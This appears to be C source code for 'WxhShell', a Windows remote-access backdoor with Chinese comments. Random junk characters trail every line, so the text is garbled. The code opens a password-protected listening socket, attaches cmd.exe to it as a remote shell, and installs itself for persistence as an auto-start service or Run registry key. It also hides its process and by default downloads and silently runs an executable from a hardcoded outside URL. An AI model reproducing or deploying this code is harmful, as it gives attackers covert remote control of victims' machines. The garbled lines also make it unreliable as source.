    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *=G~26*!V  
    else { \iN3/J4  
    closesocket(wsh); Buxn!s  
    ExitThread(0); ?a)X)#lQ  
    } aTi2=HL=S  
    break; ,orq&#*Wd  
    } kT7x !7C  
  // 获取shell <HYK9{Q  
  case 's': { LYTx8  
    CmdShell(wsh); SNLZU%jan  
    closesocket(wsh); r0MUv}p#|L  
    ExitThread(0); =yT3#A~<G  
    break; R1,.H92  
  } k&JB,d-mJ%  
  // 退出 *\gS 2[S  
  case 'x': { gc5u@(P"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;Gf,I1d}{  
    CloseIt(wsh); <V`1?9c7D1  
    break; sY|by\-c  
    } |4E5x9J  
  // 离开 BH`%3Mw  
  case 'q': { 4k$i:st;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;dC>$_P?  
    closesocket(wsh); 0cGO*G2Xr  
    WSACleanup(); b\{34z,  
    exit(1); =`&7pYd,  
    break; :A,g:B  
        } LgG7|\(-  
  } mZ%"""X\Ei  
  } 4O I''i  
v@xbur\L  
  // 提示信息 `Zdeq.R]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2YW| /o4  
} Re[x$rw  
  } So6ZNh9  
b\Wlpb=QZ  
  return; j<*  
} ;FQ<4PR$  
k 4HE'WY  
// shell模块句柄 S*aMUV&  
int CmdShell(SOCKET sock) ,Wbr; zb  
{ 9` a1xnL  
STARTUPINFO si; Q4H(JD1f)  
ZeroMemory(&si,sizeof(si)); h4iz(*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g$^:2MT"aQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1')_^]  
PROCESS_INFORMATION ProcessInfo; [ClDKswq  
char cmdline[]="cmd"; 2`Dqu"TWh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H$@5\pP>  
  return 0; \]:}lVtxS  
} i(Xz3L#(  
v0aV>-v  
// 自身启动模式 H\>0jr `  
int StartFromService(void) rd )_*{  
{ G5l?c@o  
typedef struct v47S9Vm+  
{ /r8'stRzv  
  DWORD ExitStatus; s^&Oh*SP*  
  DWORD PebBaseAddress; =/#+,  
  DWORD AffinityMask; _N @ h  
  DWORD BasePriority; c4Leh"ry  
  ULONG UniqueProcessId; :cE6-Fv  
  ULONG InheritedFromUniqueProcessId; )qID<j#  
}   PROCESS_BASIC_INFORMATION; D4G*Wz8  
hx.ln6=4  
PROCNTQSIP NtQueryInformationProcess; `GpOS_;  
On`T pz/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :-[y`/R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |_h$}~ ;  
qN=l$_UD  
  HANDLE             hProcess; Nn/f*GDvK  
  PROCESS_BASIC_INFORMATION pbi; ^ UDNp.6k  
u4KP;_,m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #$dEg  
  if(NULL == hInst ) return 0; !T|q/ri  
X]1Q# $b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }Sx+:N*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uHQf<R$:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u3k{s  
xHpB/P~  
  if (!NtQueryInformationProcess) return 0; G~+BO'U9'G  
xwJ. cy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `;c{E%qeq  
  if(!hProcess) return 0; 2=%R>&]*  
)IFFtU~,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cu $mb}@  
f(*ygI  
  CloseHandle(hProcess); 2?}5U)Hg  
\RF{ITV$kD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LkwjEJQf  
if(hProcess==NULL) return 0; sX c|++  
h>:eu#  
HMODULE hMod; 3UNmUDl[~  
char procName[255]; }o:sU^Pwa  
unsigned long cbNeeded; } \?]uNH  
f\vy5''  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?= R C?K  
2mt S\bAF  
  CloseHandle(hProcess); {/2 _"H3:  
|=rb#z&  
if(strstr(procName,"services")) return 1; // 以服务启动 K;'s+ZD  
*dpKo&y  
  return 0; // 注册表启动 xm*6I  
} 05ZF>`g*  
8WP|cF]  
// 主模块 6>d0i S@R  
int StartWxhshell(LPSTR lpCmdLine) Hs#q 7  
{ W1\F-:4L@  
  SOCKET wsl; Ve9*>6i&-4  
BOOL val=TRUE; (Do](C  
  int port=0; cYx.<b JH  
  struct sockaddr_in door; @s % !R  
Q1 5h \!u  
  if(wscfg.ws_autoins) Install(); it)!-[:bm  
)KbzgmLr  
port=atoi(lpCmdLine); v*lj>)L  
Z1Pdnc7S[  
if(port<=0) port=wscfg.ws_port; *p.70,5,  
JW2~ G!@  
  WSADATA data; INF}~DN]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _qp^+  
VSDG_:!K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JBMJR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "V3f"J?  
  door.sin_family = AF_INET; rk)h_zN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -VafN   
  door.sin_port = htons(port); \(4kEB2s$  
;56mkP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "~,3gNTzV  
closesocket(wsl); %SC%#_7  
return 1; 1$RUhxT  
} ;8iK];^  
GS qt:<Qs  
  if(listen(wsl,2) == INVALID_SOCKET) { V+>.Gf  
closesocket(wsl); pRc<U^Z.h  
return 1; =%ry-n G  
} P+gY LX8  
  Wxhshell(wsl); ;NPbEPL[5  
  WSACleanup();  )k6O  
P^-daRb  
return 0; =2&Sw(6j  
~\o hH  
} l|" SM6  
/DE`>eJY  
// 以NT服务方式启动 e .(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iji2gWV}h  
{ eZv G  
DWORD   status = 0; oeA}b-Ct0  
  DWORD   specificError = 0xfffffff; Jf3xK"in  
<c_'(   
  serviceStatus.dwServiceType     = SERVICE_WIN32; c W^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _@A%t&l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c 0.? d]  
  serviceStatus.dwWin32ExitCode     = 0; !McRtxq?~  
  serviceStatus.dwServiceSpecificExitCode = 0; `Qxdb1>mjY  
  serviceStatus.dwCheckPoint       = 0; Z_WJgH2c  
  serviceStatus.dwWaitHint       = 0; XM:Y(#?l  
qGhwbg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]s>y se  
  if (hServiceStatusHandle==0) return; K0-AP $  
m-AW}1:\f  
status = GetLastError(); a[hQ<@1O  
  if (status!=NO_ERROR) 8=DZ;]XD.  
{ `CqF&b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (>M@Ukam:  
    serviceStatus.dwCheckPoint       = 0; sV$Zf `X)  
    serviceStatus.dwWaitHint       = 0; bU{lV<R,  
    serviceStatus.dwWin32ExitCode     = status; `S:LuU8e  
    serviceStatus.dwServiceSpecificExitCode = specificError; a<Ksas'5S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =2R0 g2n  
    return; ",>,t_J  
  } jlb=]hp8%  
2|:x_rcj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K['Gp>l  
  serviceStatus.dwCheckPoint       = 0; nmy!.0SQ-  
  serviceStatus.dwWaitHint       = 0; dA[S@ysvG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]`T*}$|  
} 5o2vj8::  
?D9>N'yH8  
// 处理NT服务事件,比如:启动、停止 i$"M'BG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WP ~]pduT  
{ WX}pBmU  
switch(fdwControl) vf/|b6'y  
{ Ek,$XH  
case SERVICE_CONTROL_STOP: mY0FewwTy  
  serviceStatus.dwWin32ExitCode = 0; b X'.hHR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "[Hn G(gA  
  serviceStatus.dwCheckPoint   = 0; x2.YEuSMC  
  serviceStatus.dwWaitHint     = 0; yl UkVr   
  { }e8u p*#me  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l<dtc[  
  } JzZ@Z8%a;  
  return; {-.ZFUZmT  
case SERVICE_CONTROL_PAUSE: y25L`b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -;W`0 k^  
  break; {/Qg4pc!  
case SERVICE_CONTROL_CONTINUE: Rpou.RrXR7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8%#pv}  
  break; &p83X  
case SERVICE_CONTROL_INTERROGATE: w[hT,$n  
  break; OTV$8{  
}; I*OJPFZ^4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L`n Ma   
} bY!1t}ALh  
L)-1( e<x  
// 标准应用程序主函数 TV[@!E a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H?$gHZPI  
{ 1<$z-y'  
 ;)ji3M  
// 获取操作系统版本 DWmViuZmL  
OsIsNt=GetOsVer(); "C'T>^qw*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ||o :A  
D{G~7P\.  
  // 从命令行安装 zA%$l&QN]  
  if(strpbrk(lpCmdLine,"iI")) Install(); "fZWAGDBO\  
&KP JB"0L  
  // 下载执行文件 o8!uvl}:9  
if(wscfg.ws_downexe) { WwAvR5jq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^rssZQKY[  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,!Q^"aOT:  
}  \>l DM  
]mdO3P  
if(!OsIsNt) { ?CO..l  
// 如果时win9x,隐藏进程并且设置为注册表启动 D'Y=}I)8Dn  
HideProc(); z!>ml3  
StartWxhshell(lpCmdLine); Rr"D)|Y;C(  
} *z6m644H  
else 1vUW$)?X  
  if(StartFromService()) =+"=|cQ  
  // 以服务方式启动 PsCr[\Ul  
  StartServiceCtrlDispatcher(DispatchTable); AroYDR,3+  
else |Wz`#<t  
  // 普通方式启动 CaqqH`/E4  
  StartWxhshell(lpCmdLine); L{uQ: ;w1  
/ &#b*46  
return 0; +_v#V9?  
} _t.Ub:  
KGNBzy~9  
O#3PUuE%d  
f0]`TjY  
=========================================== r0j+P%  
_>4Qh#6K  
}Sv\$h  
HsRQiai*  
*wu|(t_ A  
,Uu#41ZOKL  
" 6):iu=/i/  
f\h|Z*Bv  
#include <stdio.h> = @n`5g  
#include <string.h> ew 4pAav  
#include <windows.h> q :-1ul  
#include <winsock2.h> ,;~@t:!c  
#include <winsvc.h> E%vT(Kz  
#include <urlmon.h> <nbc RO.  
Dx>~^ ^<  
#pragma comment (lib, "Ws2_32.lib") +hUz/G+3  
#pragma comment (lib, "urlmon.lib") 2'5u}G9  
/Q\|u:oO,  
#define MAX_USER   100 // 最大客户端连接数 z,IUCNgM  
#define BUF_SOCK   200 // sock buffer H:!pFj  
#define KEY_BUFF   255 // 输入 buffer &LDA=B  
Q/^a(   
#define REBOOT     0   // 重启 BZ}_  
#define SHUTDOWN   1   // 关机 &.)ST0b4  
H#FH '@J  
#define DEF_PORT   5000 // 监听端口 "HrZv+{  
.qD=u1{p9  
#define REG_LEN     16   // 注册表键长度 8rpr10;U  
#define SVC_LEN     80   // NT服务名长度 v%!'vhf_K  
Ae|bAyAK  
// 从dll定义API j,CVkA*DY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K~Z$NS^W&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;b;Bl:%?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Zil<*(kv{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X-}]?OOs  
ZZJ<JdD  
// wxhshell配置信息 .kZ<Q]Vk  
struct WSCFG { -PLh|  
  int ws_port;         // 监听端口 MHF7hk ps}  
  char ws_passstr[REG_LEN]; // 口令 r l>e~i  
  int ws_autoins;       // 安装标记, 1=yes 0=no RE.t<VasP  
  char ws_regname[REG_LEN]; // 注册表键名 C[Nh>V7=  
  char ws_svcname[REG_LEN]; // 服务名 DA9f\q   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 26[m7\O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;QqC c!b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B> V)6\   
int ws_downexe;       // 下载执行标记, 1=yes 0=no NNn sq@?6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4d;.p1ro  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $ nHf0.V1  
pfF2!`7pI  
}; !G~`5?CvE  
#kRt\Fzq  
// default Wxhshell configuration 7O\Qxc\  
struct WSCFG wscfg={DEF_PORT, CjZIBMGc  
    "xuhuanlingzhe", 6![}Jvu>  
    1, $J!WuOz4^i  
    "Wxhshell", lOu&4Kq{g  
    "Wxhshell", [VY265)g  
            "WxhShell Service", !1[ZfTX^a  
    "Wrsky Windows CmdShell Service", U}^`R,C  
    "Please Input Your Password: ", w'zSV1  
  1, EKf!j3  
  "http://www.wrsky.com/wxhshell.exe", CQ/ps,~M  
  "Wxhshell.exe" %{ +>\0x  
    }; `IH*~d]  
~__rI-/_  
// 消息定义模块 ak$D1#hY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /5"RedP<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NXSjN~aG2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (=t41-l  
char *msg_ws_ext="\n\rExit."; |0xP'(  
char *msg_ws_end="\n\rQuit."; OXD*ZKi8  
char *msg_ws_boot="\n\rReboot..."; z\c$$+t  
char *msg_ws_poff="\n\rShutdown..."; VJOB+CKE  
char *msg_ws_down="\n\rSave to "; Y20T$5{#  
}-T :   
char *msg_ws_err="\n\rErr!"; CC|=$(PgT  
char *msg_ws_ok="\n\rOK!"; IZOO>-g'f  
*:8,w?Nt  
char ExeFile[MAX_PATH];  LXf *  
int nUser = 0; 0i~?^sT'  
HANDLE handles[MAX_USER]; mG.H=iw  
int OsIsNt; 2*TPW  
yyc4'j+  
SERVICE_STATUS       serviceStatus; %z"n}|%!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -I.BQ  
@H61^K<  
// 函数声明  7;$[s6$  
int Install(void);  %&pd`A/  
int Uninstall(void); $<F9;Z  
int DownloadFile(char *sURL, SOCKET wsh); [BuAJ930#5  
int Boot(int flag); Yk=2ld;;  
void HideProc(void); O[15x H,  
int GetOsVer(void); LjPpnjU  
int Wxhshell(SOCKET wsl); WuMr";2*E  
void TalkWithClient(void *cs); `P?!2\/  
int CmdShell(SOCKET sock); I;+>@Cn(g<  
int StartFromService(void); *s$:"g-  
int StartWxhshell(LPSTR lpCmdLine); ?9Sc KN  
oL -udH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7O<K?;I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OEhDRU%k  
b{a\j%  
// 数据结构和表定义 > 8%O;3-m#  
SERVICE_TABLE_ENTRY DispatchTable[] = _l=X?/  
{ Uu~~-5  
{wscfg.ws_svcname, NTServiceMain}, As>P(  
{NULL, NULL} Aga{EKd  
}; h=ben&m  
MTAq} 8  
// 自我安装 DTz)qHd#X  
int Install(void) i^}ib RQbN  
{ "Zu>cbE  
  char svExeFile[MAX_PATH]; Hgbrlh  
  HKEY key; 9@wmngvM*Y  
  strcpy(svExeFile,ExeFile); {;+9A}e  
/dwj:g0y  
// 如果是win9x系统,修改注册表设为自启动 >(C5&3^  
if(!OsIsNt) { H&uh$y@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f J+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (x140_TH~  
  RegCloseKey(key); T0"q,lrdxV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,"?xy-6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )M_|r2dDq3  
  RegCloseKey(key); %,f(jQfg_  
  return 0; ^c?$$Tq  
    } E{]PfUfFY  
  } D| g{]nO  
} o?S!o}  
else { d/lV+yZ  
pReSvF}}C  
// 如果是NT以上系统,安装为系统服务 M"5S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !NTt' 4/F{  
if (schSCManager!=0) PE<(eIr  
{ jPEOp#C  
  SC_HANDLE schService = CreateService S^_F0</U,  
  ( h~s h!W8  
  schSCManager, =O>E>Q  
  wscfg.ws_svcname, :Hj #1-U  
  wscfg.ws_svcdisp, q@XxCP]  
  SERVICE_ALL_ACCESS, iyP0;$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~'0W(~Q8  
  SERVICE_AUTO_START, 7uq^TO>9f  
  SERVICE_ERROR_NORMAL, Ny G?^  
  svExeFile, #]z_pp:  
  NULL, @6%o0p9zz  
  NULL, .4XX )f5  
  NULL, l(d3N4iz  
  NULL, #A=ER[[  
  NULL FY"csZ  
  ); 3 uJ?;  
  if (schService!=0) 91M5F$  
  { ]}L tf,9  
  CloseServiceHandle(schService); Ao$|`Lgj=z  
  CloseServiceHandle(schSCManager); (w-@b70E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [ps 5  
  strcat(svExeFile,wscfg.ws_svcname); ?wREX[Tqs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?63ep:QEk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qqSFy>`P  
  RegCloseKey(key); OPC8fX5.  
  return 0; xM**n3SZ`  
    } gmN$}Gy}  
  } t>h:s3c  
  CloseServiceHandle(schSCManager); o_n 3.O=  
} JzmX~|=Xi  
} <\oD4EE_  
X9;51JV  
return 1; gbziEjRe  
} > *soc!#Y  
[Nu py,v  
// 自我卸载 Zty9O8g  
int Uninstall(void) 23/;W|   
{ a LJ d1Q  
  HKEY key; Ww=b{lUD  
<jG[ z69)  
if(!OsIsNt) { ["sm7yQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ {;3'<  
  RegDeleteValue(key,wscfg.ws_regname); Q-Oj%w4e  
  RegCloseKey(key); [wn! <#~v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C sCH :>  
  RegDeleteValue(key,wscfg.ws_regname); ._TN;tR~'  
  RegCloseKey(key); L u1pxL  
  return 0; F~?|d 0  
  } Z31a4O  
} Fil6;R  
} _2w8S\  
else { 6UM1>xq9A  
/i(R~7;?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ##nC@h@  
if (schSCManager!=0) yaYJmhG  
{ xc,Wm/[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J$i.^|hE/  
  if (schService!=0) GezMqt;2  
  { ^/~C\ (  
  if(DeleteService(schService)!=0) { ;),vUu,k  
  CloseServiceHandle(schService); GQDW}b8  
  CloseServiceHandle(schSCManager); ,O_iSohS  
  return 0; 1 Q*AQYVY  
  } JC iB;!y  
  CloseServiceHandle(schService); fndbGbl8p  
  } RaOLy \  
  CloseServiceHandle(schSCManager); t]E@AJO K  
} 009Q#[A  
} 3EH7H W  
RO[6PlrRN  
return 1; A=r8_.@2@  
} ;cGY  
>1$Vh=\OI  
// 从指定url下载文件 'cA(-ghY/E  
int DownloadFile(char *sURL, SOCKET wsh) .JV y}^Q\  
{ Rd[^)q4d$w  
  HRESULT hr; pj Md  
char seps[]= "/"; h !?rk|  
char *token; r9n:[A&HE  
char *file; -Eoq#ULvR  
char myURL[MAX_PATH]; L| ;WE=  
char myFILE[MAX_PATH]; otlv ;3263  
R#ZO<g%'  
strcpy(myURL,sURL); *z&hXYm  
  token=strtok(myURL,seps); +*wr=9>  
  while(token!=NULL) t&~*!w!+jH  
  { yz=aJ v; H  
    file=token; /Ow@CB  
  token=strtok(NULL,seps); -PTfsQk  
  } } ^2'@y!(  
1 0^FfwRfM  
GetCurrentDirectory(MAX_PATH,myFILE); a#a n+JY3  
strcat(myFILE, "\\"); 5,?^SK|'x  
strcat(myFILE, file); B`:l;<&jX  
  send(wsh,myFILE,strlen(myFILE),0); f o idneus  
send(wsh,"...",3,0); TQth"Cv2:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cp6I]#X  
  if(hr==S_OK) T\"-q4+=C  
return 0; (wf3HEb_  
else j<)`|?@e(  
return 1; sfk;c#K  
c$x >6&&L  
} ZFs xsg^r  
"O~kIT?/v  
// 系统电源模块 -t: U4r(  
int Boot(int flag) "[0.a\ d<  
{ C8D`:k  
  HANDLE hToken; SGu`vN]  
  TOKEN_PRIVILEGES tkp;  Z>pZ|  
iXL?ic  
  if(OsIsNt) { xNjWo*y v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?C']R(fQ\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +[}<u--  
    tkp.PrivilegeCount = 1; k; >Vh'=X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }s[`T   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HSVl$66  
if(flag==REBOOT) { QOY{j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~_ u3_d.  
  return 0; \2CEEs'  
} k"6&&  
else { IyAD>Q^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e'->Sg  
  return 0; g.\%jDM  
} ij1YV2v  
  } ]n3!%0]\  
  else { 28vQ  
if(flag==REBOOT) { =_CH$F!U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qg:EN~E#  
  return 0; wo;OkJKF  
} +.Xi7x+#O  
else { d.HcO^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^PUB~P/  
  return 0; OY2u,LF9H  
} ]^,!;do  
} "C?H:8W  
@9R78Zra  
return 1; [s{[ .0P]+  
} 'V &Tlw|  
/f drf  
// win9x进程隐藏模块 zO@>)@~  
void HideProc(void) Jt0U`_  
{ ~/XDA:nfL:  
XlnSh<e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]B$J8.{q0  
  if ( hKernel != NULL ) a ,"   
  { RhC|x,E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `3`.usw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8H|ac[hXK2  
    FreeLibrary(hKernel); `YqXF=-  
  } `jVRabZ0  
.R l7,1\  
return; Pm,.[5uc  
} x2'pl (^  
4-I7"pW5  
// 获取操作系统版本 pC #LQ  
int GetOsVer(void) 7O:g;UI#  
{ N,l"9>CF  
  OSVERSIONINFO winfo; M8/:PmR<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XUnw*3tPJ  
  GetVersionEx(&winfo); T#wG]DH;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pRd'\+  
  return 1; vPc*x5w-  
  else $HtGB]  
  return 0; 9Q!Z9n"8~)  
} tzv4uD]  
@DF7j|]tV  
// 客户端句柄模块 vn!3Z!dm(  
int Wxhshell(SOCKET wsl) jw`05rw:  
{ sG)aw`_j  
  SOCKET wsh; jOzi89  
  struct sockaddr_in client; tY: Nq*@  
  DWORD myID; zWH)\>X59  
x,zYNNx5g  
  while(nUser<MAX_USER) ib~i ^_p  
{ lQBE q"7$  
  int nSize=sizeof(client); 7?{y&sf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @$'pMg  
  if(wsh==INVALID_SOCKET) return 1; TiF+rA{t  
3+(lKd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k>7bPR5Mw  
if(handles[nUser]==0) n1PBpM9!  
  closesocket(wsh); +vxOCN4}v  
else 53gLz_ee  
  nUser++;  .FC+  
  } V )1.)XC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !zllv tK4  
,aa 4Kh  
  return 0; ?~4x/d%  
} W)J MV  
?c+$9  
// 关闭 socket 3W]gn8  
void CloseIt(SOCKET wsh) f*xr0l  
{ :0QDV~bs  
closesocket(wsh); T\g+w\N  
nUser--; CWocb=E  
ExitThread(0); 3u&,3:  
} GC'e  
ir"t@"Y;o  
// 客户端请求句柄 vhAgX0k  
void TalkWithClient(void *cs) a2tEp+7?  
{ &0tW{-Hv"  
aKWxLe  
  SOCKET wsh=(SOCKET)cs; ^g5E&0a`g  
  char pwd[SVC_LEN]; 0zkMRBe  
  char cmd[KEY_BUFF]; {u2Zl7]z^  
char chr[1]; )Jdku}Pf  
int i,j; \$*CXjh3G  
w;j<$<4=7  
  while (nUser < MAX_USER) { >TY;l3ew  
_U-`/r o  
if(wscfg.ws_passstr) { 9} m?E<6&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GBT|1c'i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *YL86R+U  
  //ZeroMemory(pwd,KEY_BUFF); @c'iT20  
      i=0; q7f`:P9~  
  while(i<SVC_LEN) { ft1#f@b.  
"lLh#W1d  
  // 设置超时 n6+h;+8;]  
  fd_set FdRead; V7r_Ubg@K  
  struct timeval TimeOut; JJ%@m;~  
  FD_ZERO(&FdRead); CbC [aVA=  
  FD_SET(wsh,&FdRead); /e|Lw4$@S  
  TimeOut.tv_sec=8; u!5q)>Wt(  
  TimeOut.tv_usec=0; `[g$EXX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bxtH`^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {sGEopd8]q  
..X_nF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -Dx3*ZhP  
  pwd=chr[0]; Yj/ o17  
  if(chr[0]==0xd || chr[0]==0xa) { 6]~/`6Dub  
  pwd=0; \Ta5c31S+  
  break; 8FMxn{k2  
  } EJ#I7_  
  i++; q,O_y<uw  
    } 4\u`M R  
yn_f%^!G  
  // 如果是非法用户,关闭 socket -0#"<!N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z!O;s ep?/  
} #dL,d6a  
rKUtTj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'jfE?ngt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d"06 gp  
\<*F#3U1  
while(1) { (${ #l  
&K[sb%  
  ZeroMemory(cmd,KEY_BUFF); *$BUow/>  
[n)ak)_/  
      // 自动支持客户端 telnet标准   `;+x\0@<  
  j=0; kSzap+nB?  
  while(j<KEY_BUFF) { GEF's#YWK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j?m(l,YD|*  
  cmd[j]=chr[0]; yRyXlZC  
  if(chr[0]==0xa || chr[0]==0xd) { grzmW4Cw  
  cmd[j]=0; <)wLxWalF  
  break; dGm%If9P  
  } $f0u  
  j++; @jm+TW  
    } @n?"*B  
&qG/\  
  // 下载文件 KR?aL:RYb  
  if(strstr(cmd,"http://")) { q,L>PN+W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5\C(2naf  
  if(DownloadFile(cmd,wsh)) B qX"La,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I3Z?xsa@Z  
  else 5z,q~CU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); or3OLBf*Q  
  }  x _>1x#  
  else { g;'S5w9S  
H=C~h\me?  
    switch(cmd[0]) { # o/;du  
  .1RQ}Ro,<  
  // 帮助 hdx_Tduue  
